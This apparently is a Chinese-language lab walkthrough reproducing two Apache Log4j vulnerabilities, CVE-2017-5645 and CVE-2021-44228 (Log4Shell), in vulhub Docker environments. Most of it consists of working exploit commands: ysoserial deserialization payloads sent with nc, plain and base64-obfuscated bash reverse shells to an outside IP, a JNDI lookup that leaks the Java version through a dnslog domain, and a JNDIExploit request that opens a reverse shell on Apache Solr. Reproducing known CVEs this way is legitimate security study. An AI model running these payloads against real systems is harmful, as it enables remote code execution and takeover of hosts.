vulhub-log4j
vulhub-log4j
CVE-2017-5645(反序列化RCE)
漏洞成因
Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。
执行如下命令启动漏洞环境
docker compose up -d |
环境启动后,将在4712端口开启一个TCPServer。
说一下,除了使用vulhub的docker镜像搭建环境外,我们下载了log4j的jar文件后可以直接在命令行启动这个TCPServer:java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer
,无需使用vulhub和编写代码。
漏洞复现
netstat -ano | grep 4712 |
使用ysoserial生产payload
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/susscess" | nc 172.25.0.1 4712 |
反弹shell
sh -i >& /dev/tcp/192.168.174.137/8888 0>&1 |
编码
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzQuMTM3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i} |
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xNzQuMTM3Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" | nc 172.25.0.1 4712 |
CVE-2021-44228(JNDI注入)
漏洞成因
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}
的lookup用于进行JNDI注入,执行任意代码。
参考链接:
- https://logging.apache.org/log4j/2.x/security.html
- https://blog.csdn.net/weixin_43847838/article/details/122490319
漏洞复现
Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。
执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:
docker compose up -d |
服务启动后,访问http://your-ip:8983
即可查看到Apache Solr的后台页面。
${jndi:dns://${sys:java.version}.example.com}
是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.zrmio0.dnslog.cn} HTTP/1.1 |
反弹shell
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.174.137 |
GET /solr/admin/cores?action=${jndi:ldap://192.168.174.137:1389/Basic/ReverseShell/192.168.174.137/8888} HTTP/1.1 |